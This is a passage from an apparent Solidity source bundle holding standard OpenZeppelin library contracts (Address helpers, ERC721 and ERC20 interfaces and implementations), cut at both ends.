memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but also transferring `value` wei to `target`.\n *\n * Requirements:\n *\n * - the calling contract must have an ETH balance of at least `value`.\n * - the called Solidity function must be `payable`.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, value, \"Address: low-level call with value failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\n * with `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(address(this).balance >= value, \"Address: insufficient balance for call\");\n require(isContract(target), \"Address: call to non-contract\");\n\n (bool success, bytes memory returndata) = target.call{value: value}(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\n return functionStaticCall(target, data, \"Address: low-level static call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n require(isContract(target), \"Address: static call to non-contract\");\n\n (bool success, bytes memory returndata) = target.staticcall(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionDelegateCall(target, data, \"Address: low-level delegate call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(isContract(target), \"Address: delegate call to non-contract\");\n\n (bool success, bytes memory returndata) = target.delegatecall(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the\n * revert reason using the provided one.\n *\n * _Available since v4.3._\n */\n function verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n // Look for revert reason and bubble it up if present\n if (returndata.length > 0) {\n // The easiest way to bubble the revert reason is using memory via assembly\n /// @solidity memory-safe-assembly\n assembly {\n let returndata_size := mload(returndata)\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n }\n}\n"
},
"@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../IERC721.sol\";\n\n/**\n * @title ERC-721 Non-Fungible Token Standard, optional metadata extension\n * @dev See https://eips.ethereum.org/EIPS/eip-721\n */\ninterface IERC721Metadata is IERC721 {\n /**\n * @dev Returns the token collection name.\n */\n function name() external view returns (string memory);\n\n /**\n * @dev Returns the token collection symbol.\n */\n function symbol() external view returns (string memory);\n\n /**\n * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.\n */\n function tokenURI(uint256 tokenId) external view returns (string memory);\n}\n"
},
"@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC721/IERC721Receiver.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @title ERC721 token receiver interface\n * @dev Interface for any contract that wants to support safeTransfers\n * from ERC721 asset contracts.\n */\ninterface IERC721Receiver {\n /**\n * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}\n * by `operator` from `from`, this function is called.\n *\n * It must return its Solidity selector to confirm the token transfer.\n * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.\n *\n * The selector can be obtained in Solidity with `IERC721Receiver.onERC721Received.selector`.\n */\n function onERC721Received(\n address operator,\n address from,\n uint256 tokenId,\n bytes calldata data\n ) external returns (bytes4);\n}\n"
},
"@openzeppelin/contracts/token/ERC721/IERC721.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (token/ERC721/IERC721.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../../utils/introspection/IERC165.sol\";\n\n/**\n * @dev Required interface of an ERC721 compliant contract.\n */\ninterface IERC721 is IERC165 {\n /**\n * @dev Emitted when `tokenId` token is transferred from `from` to `to`.\n */\n event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);\n\n /**\n * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.\n */\n event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);\n\n /**\n * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.\n */\n event ApprovalForAll(address indexed owner, address indexed operator, bool approved);\n\n /**\n * @dev Returns the number of tokens in ``owner``'s account.\n */\n function balanceOf(address owner) external view returns (uint256 balance);\n\n /**\n * @dev Returns the owner of the `tokenId` token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function ownerOf(uint256 tokenId) external view returns (address owner);\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes calldata data\n ) external;\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients\n * are aware of the ERC721 protocol to prevent tokens from being forever locked.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If the caller is not `from`, it must have been allowed to move this token by either {approve} or {setApprovalForAll}.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) external;\n\n /**\n * @dev Transfers `tokenId` token from `from` to `to`.\n *\n * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) external;\n\n /**\n * @dev Gives permission to `to` to transfer `tokenId` token to another account.\n * The approval is cleared when the token is transferred.\n *\n * Only a single account can be approved at a time, so approving the zero address clears previous approvals.\n *\n * Requirements:\n *\n * - The caller must own the token or be an approved operator.\n * - `tokenId` must exist.\n *\n * Emits an {Approval} event.\n */\n function approve(address to, uint256 tokenId) external;\n\n /**\n * @dev Approve or remove `operator` as an operator for the caller.\n * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.\n *\n * Requirements:\n *\n * - The `operator` cannot be the caller.\n *\n * Emits an {ApprovalForAll} event.\n */\n function setApprovalForAll(address operator, bool _approved) external;\n\n /**\n * @dev Returns the account approved for `tokenId` token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function getApproved(uint256 tokenId) external view returns (address operator);\n\n /**\n * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.\n *\n * See {setApprovalForAll}\n */\n function isApprovedForAll(address owner, address operator) external view returns (bool);\n}\n"
},
"@openzeppelin/contracts/token/ERC721/ERC721.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (token/ERC721/ERC721.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC721.sol\";\nimport \"./IERC721Receiver.sol\";\nimport \"./extensions/IERC721Metadata.sol\";\nimport \"../../utils/Address.sol\";\nimport \"../../utils/Context.sol\";\nimport \"../../utils/Strings.sol\";\nimport \"../../utils/introspection/ERC165.sol\";\n\n/**\n * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including\n * the Metadata extension, but not including the Enumerable extension, which is available separately as\n * {ERC721Enumerable}.\n */\ncontract ERC721 is Context, ERC165, IERC721, IERC721Metadata {\n using Address for address;\n using Strings for uint256;\n\n // Token name\n string private _name;\n\n // Token symbol\n string private _symbol;\n\n // Mapping from token ID to owner address\n mapping(uint256 => address) private _owners;\n\n // Mapping owner address to token count\n mapping(address => uint256) private _balances;\n\n // Mapping from token ID to approved address\n mapping(uint256 => address) private _tokenApprovals;\n\n // Mapping from owner to operator approvals\n mapping(address => mapping(address => bool)) private _operatorApprovals;\n\n /**\n * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.\n */\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n _symbol = symbol_;\n }\n\n /**\n * @dev See {IERC165-supportsInterface}.\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {\n return\n interfaceId == type(IERC721).interfaceId ||\n interfaceId == type(IERC721Metadata).interfaceId ||\n super.supportsInterface(interfaceId);\n }\n\n /**\n * @dev See {IERC721-balanceOf}.\n */\n function balanceOf(address owner) public view virtual override returns (uint256) {\n require(owner != address(0), \"ERC721: address zero is not a valid owner\");\n return _balances[owner];\n }\n\n /**\n * @dev See {IERC721-ownerOf}.\n */\n function ownerOf(uint256 tokenId) public view virtual override returns (address) {\n address owner = _owners[tokenId];\n require(owner != address(0), \"ERC721: invalid token ID\");\n return owner;\n }\n\n /**\n * @dev See {IERC721Metadata-name}.\n */\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n /**\n * @dev See {IERC721Metadata-symbol}.\n */\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n /**\n * @dev See {IERC721Metadata-tokenURI}.\n */\n function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {\n _requireMinted(tokenId);\n\n string memory baseURI = _baseURI();\n return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : \"\";\n }\n\n /**\n * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each\n * token will be the concatenation of the `baseURI` and the `tokenId`. Empty\n * by default, can be overridden in child contracts.\n */\n function _baseURI() internal view virtual returns (string memory) {\n return \"\";\n }\n\n /**\n * @dev See {IERC721-approve}.\n */\n function approve(address to, uint256 tokenId) public virtual override {\n address owner = ERC721.ownerOf(tokenId);\n require(to != owner, \"ERC721: approval to current owner\");\n\n require(\n _msgSender() == owner || isApprovedForAll(owner, _msgSender()),\n \"ERC721: approve caller is not token owner nor approved for all\"\n );\n\n _approve(to, tokenId);\n }\n\n /**\n * @dev See {IERC721-getApproved}.\n */\n function getApproved(uint256 tokenId) public view virtual override returns (address) {\n _requireMinted(tokenId);\n\n return _tokenApprovals[tokenId];\n }\n\n /**\n * @dev See {IERC721-setApprovalForAll}.\n */\n function setApprovalForAll(address operator, bool approved) public virtual override {\n _setApprovalForAll(_msgSender(), operator, approved);\n }\n\n /**\n * @dev See {IERC721-isApprovedForAll}.\n */\n function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {\n return _operatorApprovals[owner][operator];\n }\n\n /**\n * @dev See {IERC721-transferFrom}.\n */\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public virtual override {\n //solhint-disable-next-line max-line-length\n require(_isApprovedOrOwner(_msgSender(), tokenId), \"ERC721: caller is not token owner nor approved\");\n\n _transfer(from, to, tokenId);\n }\n\n /**\n * @dev See {IERC721-safeTransferFrom}.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public virtual override {\n safeTransferFrom(from, to, tokenId, \"\");\n }\n\n /**\n * @dev See {IERC721-safeTransferFrom}.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) public virtual override {\n require(_isApprovedOrOwner(_msgSender(), tokenId), \"ERC721: caller is not token owner nor approved\");\n _safeTransfer(from, to, tokenId, data);\n }\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients\n * are aware of the ERC721 protocol to prevent tokens from being forever locked.\n *\n * `data` is additional data, it has no specified format and it is sent in call to `to`.\n *\n * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.\n * implement alternative mechanisms to perform token transfer, such as signature-based.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function _safeTransfer(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) internal virtual {\n _transfer(from, to, tokenId);\n require(_checkOnERC721Received(from, to, tokenId, data), \"ERC721: transfer to non ERC721Receiver implementer\");\n }\n\n /**\n * @dev Returns whether `tokenId` exists.\n *\n * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.\n *\n * Tokens start existing when they are minted (`_mint`),\n * and stop existing when they are burned (`_burn`).\n */\n function _exists(uint256 tokenId) internal view virtual returns (bool) {\n return _owners[tokenId] != address(0);\n }\n\n /**\n * @dev Returns whether `spender` is allowed to manage `tokenId`.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {\n address owner = ERC721.ownerOf(tokenId);\n return (spender == owner || isApprovedForAll(owner, spender) || getApproved(tokenId) == spender);\n }\n\n /**\n * @dev Safely mints `tokenId` and transfers it to `to`.\n *\n * Requirements:\n *\n * - `tokenId` must not exist.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function _safeMint(address to, uint256 tokenId) internal virtual {\n _safeMint(to, tokenId, \"\");\n }\n\n /**\n * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is\n * forwarded in {IERC721Receiver-onERC721Received} to contract recipients.\n */\n function _safeMint(\n address to,\n uint256 tokenId,\n bytes memory data\n ) internal virtual {\n _mint(to, tokenId);\n require(\n _checkOnERC721Received(address(0), to, tokenId, data),\n \"ERC721: transfer to non ERC721Receiver implementer\"\n );\n }\n\n /**\n * @dev Mints `tokenId` and transfers it to `to`.\n *\n * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible\n *\n * Requirements:\n *\n * - `tokenId` must not exist.\n * - `to` cannot be the zero address.\n *\n * Emits a {Transfer} event.\n */\n function _mint(address to, uint256 tokenId) internal virtual {\n require(to != address(0), \"ERC721: mint to the zero address\");\n require(!_exists(tokenId), \"ERC721: token already minted\");\n\n _beforeTokenTransfer(address(0), to, tokenId);\n\n _balances[to] += 1;\n _owners[tokenId] = to;\n\n emit Transfer(address(0), to, tokenId);\n\n _afterTokenTransfer(address(0), to, tokenId);\n }\n\n /**\n * @dev Destroys `tokenId`.\n * The approval is cleared when the token is burned.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n *\n * Emits a {Transfer} event.\n */\n function _burn(uint256 tokenId) internal virtual {\n address owner = ERC721.ownerOf(tokenId);\n\n _beforeTokenTransfer(owner, address(0), tokenId);\n\n // Clear approvals\n _approve(address(0), tokenId);\n\n _balances[owner] -= 1;\n delete _owners[tokenId];\n\n emit Transfer(owner, address(0), tokenId);\n\n _afterTokenTransfer(owner, address(0), tokenId);\n }\n\n /**\n * @dev Transfers `tokenId` from `from` to `to`.\n * As opposed to {transferFrom}, this imposes no restrictions on msg.sender.\n *\n * Requirements:\n *\n * - `to` cannot be the zero address.\n * - `tokenId` token must be owned by `from`.\n *\n * Emits a {Transfer} event.\n */\n function _transfer(\n address from,\n address to,\n uint256 tokenId\n ) internal virtual {\n require(ERC721.ownerOf(tokenId) == from, \"ERC721: transfer from incorrect owner\");\n require(to != address(0), \"ERC721: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, tokenId);\n\n // Clear approvals from the previous owner\n _approve(address(0), tokenId);\n\n _balances[from] -= 1;\n _balances[to] += 1;\n _owners[tokenId] = to;\n\n emit Transfer(from, to, tokenId);\n\n _afterTokenTransfer(from, to, tokenId);\n }\n\n /**\n * @dev Approve `to` to operate on `tokenId`\n *\n * Emits an {Approval} event.\n */\n function _approve(address to, uint256 tokenId) internal virtual {\n _tokenApprovals[tokenId] = to;\n emit Approval(ERC721.ownerOf(tokenId), to, tokenId);\n }\n\n /**\n * @dev Approve `operator` to operate on all of `owner` tokens\n *\n * Emits an {ApprovalForAll} event.\n */\n function _setApprovalForAll(\n address owner,\n address operator,\n bool approved\n ) internal virtual {\n require(owner != operator, \"ERC721: approve to caller\");\n _operatorApprovals[owner][operator] = approved;\n emit ApprovalForAll(owner, operator, approved);\n }\n\n /**\n * @dev Reverts if the `tokenId` has not been minted yet.\n */\n function _requireMinted(uint256 tokenId) internal view virtual {\n require(_exists(tokenId), \"ERC721: invalid token ID\");\n }\n\n /**\n * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.\n * The call is not executed if the target address is not a contract.\n *\n * @param from address representing the previous owner of the given token ID\n * @param to target address that will receive the tokens\n * @param tokenId uint256 ID of the token to be transferred\n * @param data bytes optional data to send along with the call\n * @return bool whether the call correctly returned the expected magic value\n */\n function _checkOnERC721Received(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) private returns (bool) {\n if (to.isContract()) {\n try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, data) returns (bytes4 retval) {\n return retval == IERC721Receiver.onERC721Received.selector;\n } catch (bytes memory reason) {\n if (reason.length == 0) {\n revert(\"ERC721: transfer to non ERC721Receiver implementer\");\n } else {\n /// @solidity memory-safe-assembly\n assembly {\n revert(add(32, reason), mload(reason))\n }\n }\n }\n } else {\n return true;\n }\n }\n\n /**\n * @dev Hook that is called before any token transfer. This includes minting\n * and burning.\n *\n * Calling conditions:\n *\n * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be\n * transferred to `to`.\n * - When `from` is zero, `tokenId` will be minted for `to`.\n * - When `to` is zero, ``from``'s `tokenId` will be burned.\n * - `from` and `to` are never both zero.\n *\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n */\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 tokenId\n ) internal virtual {}\n\n /**\n * @dev Hook that is called after any transfer of tokens. This includes\n * minting and burning.\n *\n * Calling conditions:\n *\n * - when `from` and `to` are both non-zero.\n * - `from` and `to` are never both zero.\n *\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n */\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 tokenId\n ) internal virtual {}\n}\n"
},
"@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../IERC20.sol\";\n\n/**\n * @dev Interface for the optional metadata functions from the ERC20 standard.\n *\n * _Available since v4.1._\n */\ninterface IERC20Metadata is IERC20 {\n /**\n * @dev Returns the name of the token.\n */\n function name() external view returns (string memory);\n\n /**\n * @dev Returns the symbol of the token.\n */\n function symbol() external view returns (string memory);\n\n /**\n * @dev Returns the decimals places of the token.\n */\n function decimals() external view returns (uint8);\n}\n"
},
"@openzeppelin/contracts/token/ERC20/IERC20.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC20 standard as defined in the EIP.\n */\ninterface IERC20 {\n /**\n * @dev Emitted when `value` tokens are moved from one account (`from`) to\n * another (`to`).\n *\n * Note that `value` may be zero.\n */\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n /**\n * @dev Emitted when the allowance of a `spender` for an `owner` is set by\n * a call to {approve}. `value` is the new allowance.\n */\n event Approval(address indexed owner, address indexed spender, uint256 value);\n\n /**\n * @dev Returns the amount of tokens in existence.\n */\n function totalSupply() external view returns (uint256);\n\n /**\n * @dev Returns the amount of tokens owned by `account`.\n */\n function balanceOf(address account) external view returns (uint256);\n\n /**\n * @dev Moves `amount` tokens from the caller's account to `to`.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transfer(address to, uint256 amount) external returns (bool);\n\n /**\n * @dev Returns the remaining number of tokens that `spender` will be\n * allowed to spend on behalf of `owner` through {transferFrom}. This is\n * zero by default.\n *\n * This value changes when {approve} or {transferFrom} are called.\n */\n function allowance(address owner, address spender) external view returns (uint256);\n\n /**\n * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * IMPORTANT: Beware that changing an allowance with this method brings the risk\n * that someone may use both the old and the new allowance by unfortunate\n * transaction ordering. One possible solution to mitigate this race\n * condition is to first reduce the spender's allowance to 0 and set the\n * desired value afterwards:\n * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729\n *\n * Emits an {Approval} event.\n */\n function approve(address spender, uint256 amount) external returns (bool);\n\n /**\n * @dev Moves `amount` tokens from `from` to `to` using the\n * allowance mechanism. `amount` is then deducted from the caller's\n * allowance.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) external returns (bool);\n}\n"
},
"@openzeppelin/contracts/token/ERC20/ERC20.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (token/ERC20/ERC20.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC20.sol\";\nimport \"./extensions/IERC20Metadata.sol\";\nimport \"../../utils/Context.sol\";\n\n/**\n * @dev Implementation of the {IERC20} interface.\n *\n * This implementation is agnostic to the way tokens are created. This means\n * that a supply mechanism has to be added in a derived contract using {_mint}.\n * For a generic mechanism see {ERC20PresetMinterPauser}.\n *\n * TIP: For a detailed writeup see our guide\n * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How\n * to implement supply mechanisms].\n *\n * We have followed general OpenZeppelin Contracts guidelines: functions revert\n * instead returning `false` on failure. This behavior is nonetheless\n * conventional and does not conflict with the expectations of ERC20\n * applications.\n *\n * Additionally, an {Approval} event is emitted on calls to {transferFrom}.\n * This allows applications to reconstruct the allowance for all accounts just\n * by listening to said events. Other implementations of the EIP may not emit\n * these events, as it isn't required by the specification.\n *\n * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}\n * functions have been added to mitigate the well-known issues around setting\n * allowances. See {IERC20-approve}.\n */\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n string private _symbol;\n\n /**\n * @dev Sets the values for {name} and {symbol}.\n *\n * The default value of {decimals} is 18. To select a different value for\n * {decimals} you should overload it.\n *\n * All two of these values are immutable: they can only be set once during\n * construction.\n */\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n _symbol = symbol_;\n }\n\n /**\n * @dev Returns the name of the token.\n */\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n /**\n * @dev Returns the symbol of the token, usually a shorter version of the\n * name.\n */\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n /**\n * @dev Returns the number of decimals used to get its user representation.\n * For example, if `decimals` equals `2`, a balance of `505` tokens should\n * be displayed to a user as `5.05` (`505 / 10 ** 2`).\n *\n * Tokens usually opt for a value of 18, imitating the relationship between\n * Ether and Wei. This is the value {ERC20} uses, unless this function is\n * overridden;\n *\n * NOTE: This information is only used for _display_ purposes: it in\n * no way affects any of the arithmetic of the contract, including\n * {IERC20-balanceOf} and {IERC20-transfer}.\n */\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n /**\n * @dev See {IERC20-totalSupply}.\n */\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n /**\n * @dev See {IERC20-balanceOf}.\n */\n function balanceOf(address account) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n /**\n * @dev See {IERC20-transfer}.\n *\n * Requirements:\n *\n * - `to` cannot be the zero address.\n * - the caller must have a balance of at least `amount`.\n */\n function transfer(address to, uint256 amount) public virtual override returns (bool) {\n address owner = _msgSender();\n _transfer(owner, to, amount);\n return true;\n }\n\n /**\n * @dev See {IERC20-allowance}.\n */\n function allowance(address owner, address spender) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n /**\n * @dev See {IERC20-approve}.\n *\n * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on\n * `transferFrom`. This is semantically equivalent to an infinite approval.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n */\n function approve(address spender, uint256 amount) public virtual override returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, amount);\n return true;\n }\n\n /**\n * @dev See {IERC20-transferFrom}.\n *\n * Emits an {Approval} event indicating the updated allowance. This is not\n * required by the EIP. See the note at the beginning of {ERC20}.\n *\n * NOTE: Does not update the allowance if the current allowance\n * is the maximum `uint256`.\n *\n * Requirements:\n *\n * - `from` and `to` cannot be the zero address.\n * - `from` must have a balance of at least `amount`.\n * - the caller must have allowance for ``from``'s tokens of at least\n * `amount`.\n */\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n _spendAllowance(from, spender, amount);\n _transfer(from, to, amount);\n return true;\n }\n\n /**\n * @dev Atomically increases the allowance granted to `spender` by the caller.\n *\n * This is an alternative to {approve} that can be used as a mitigation for\n * problems described in {IERC20-approve}.\n *\n * Emits an {Approval} event indicating the updated allowance.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n */\n function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n return true;\n }\n\n /**\n * @dev Atomically decreases the allowance granted to `spender` by the caller.\n *\n * This is an alternative to {approve} that can be used as a mitigation for\n * problems described in {IERC20-approve}.\n *\n * Emits an {Approval} event indicating the updated allowance.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n * - `spender` must have allowance for the caller of at least\n * `subtractedValue`.\n */\n function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {\n address owner = _msgSender();\n uint256 currentAllowance = allowance(owner, spender);\n require(currentAllowance >= subtractedValue, \"ERC20: decreased allowance below zero\");\n unchecked {\n _approve(owner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n /**\n * @dev Moves `amount` of tokens from `from` to `to`.\n *\n * This internal function is equivalent to {transfer}, and can be used to\n * e.g. implement automatic token fees, slashing mechanisms, etc.\n *\n * Emits a {Transfer} event.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `from` must have a balance of at least `amount`.\n */\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, amount);\n\n uint256 fromBalance = _balances[from];\n require(fromBalance >= amount, \"ERC20: transfer amount exceeds balance\");\n unchecked {\n _balances[from] = fromBalance - amount;\n }\n _balances[to] += amount;\n\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n /** @dev Creates `amount` tokens and assigns them to `account`, increasing\n * the total supply.\n *\n * Emits a {Transfer} event with `from` set to the zero address.\n *\n * Requirements:\n *\n * - `account` cannot be the zero address.\n */\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n _balances[account] += amount;\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n }\n\n /**\n * @dev Destroys `amount` tokens from `account`, reducing the\n * total supply.\n *\n * Emits a {Transfer} event with `to` set to the zero address.\n *\n * Requirements:\n *\n * - `account` cannot be the zero address.\n * - `account` must have at least `amount` tokens.\n */\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n unchecked {\n _balances[account] = accountBalance - amount;\n }\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(account, address(0), amount);\n }\n\n /**\n * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.\n *\n * This 